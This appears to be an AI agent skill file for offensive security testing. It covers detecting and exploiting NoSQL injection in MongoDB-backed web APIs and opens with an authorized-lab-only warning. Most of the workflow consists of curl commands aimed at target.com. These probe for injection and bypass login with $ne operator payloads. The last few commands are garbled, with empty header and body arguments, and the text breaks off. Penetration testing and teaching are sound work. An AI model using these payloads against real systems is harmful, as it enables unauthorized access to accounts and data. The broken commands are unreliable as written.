cyber-exploiting-nosql-injection-vulnerabilities

name	cyber-exploiting-nosql-injection-vulnerabilities
description	Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB, and other NoSQL databases to demonstrate authentication bypass, data extraction, and unauthorized access risks.
source	mukul975/Anthropic-Cybersecurity-Skills
license	Apache-2.0
authorized_lab	true
origin_frontmatter	name: exploiting-nosql-injection-vulnerabilities | description: Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB, | and other NoSQL databases to demonstrate authentication bypass, data extraction, | and unauthorized access risks. | domain: cybersecurity | subdomain: web-application-security | tags: | - nosql-injection | - mongodb | - authentication-bypass | - injection-attack | - web-security | - database-security | - api-testing | version: '1.0' | author: mahipal | lic
hide	true

AUTHORIZED-LAB ONLY. Offensive/dual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.

Exploiting NoSQL Injection Vulnerabilities

When to Use

• During web application penetration testing of applications using NoSQL databases
• When testing authentication mechanisms backed by MongoDB or similar databases
• When assessing APIs that accept JSON input for database queries
• During bug bounty hunting on applications with NoSQL backends
• When performing security code review of database query construction

Prerequisites

• Burp Suite Professional or Community Edition with JSON support
• NoSQLMap tool installed (pip install nosqlmap or from GitHub)
• Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
• Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
• Proxy configured for HTTP traffic interception
• Python 3.x for custom payload scripting

Workflow

Step 1 — Identify NoSQL Injection Points

# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'

Step 2 — Perform Authentication Bypass

# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H  \
  -d 


curl -X POST http://target.com/api/login \
  -H  \
  -d 


curl -X POST http://target.com/api/login \
  -H  \
  -d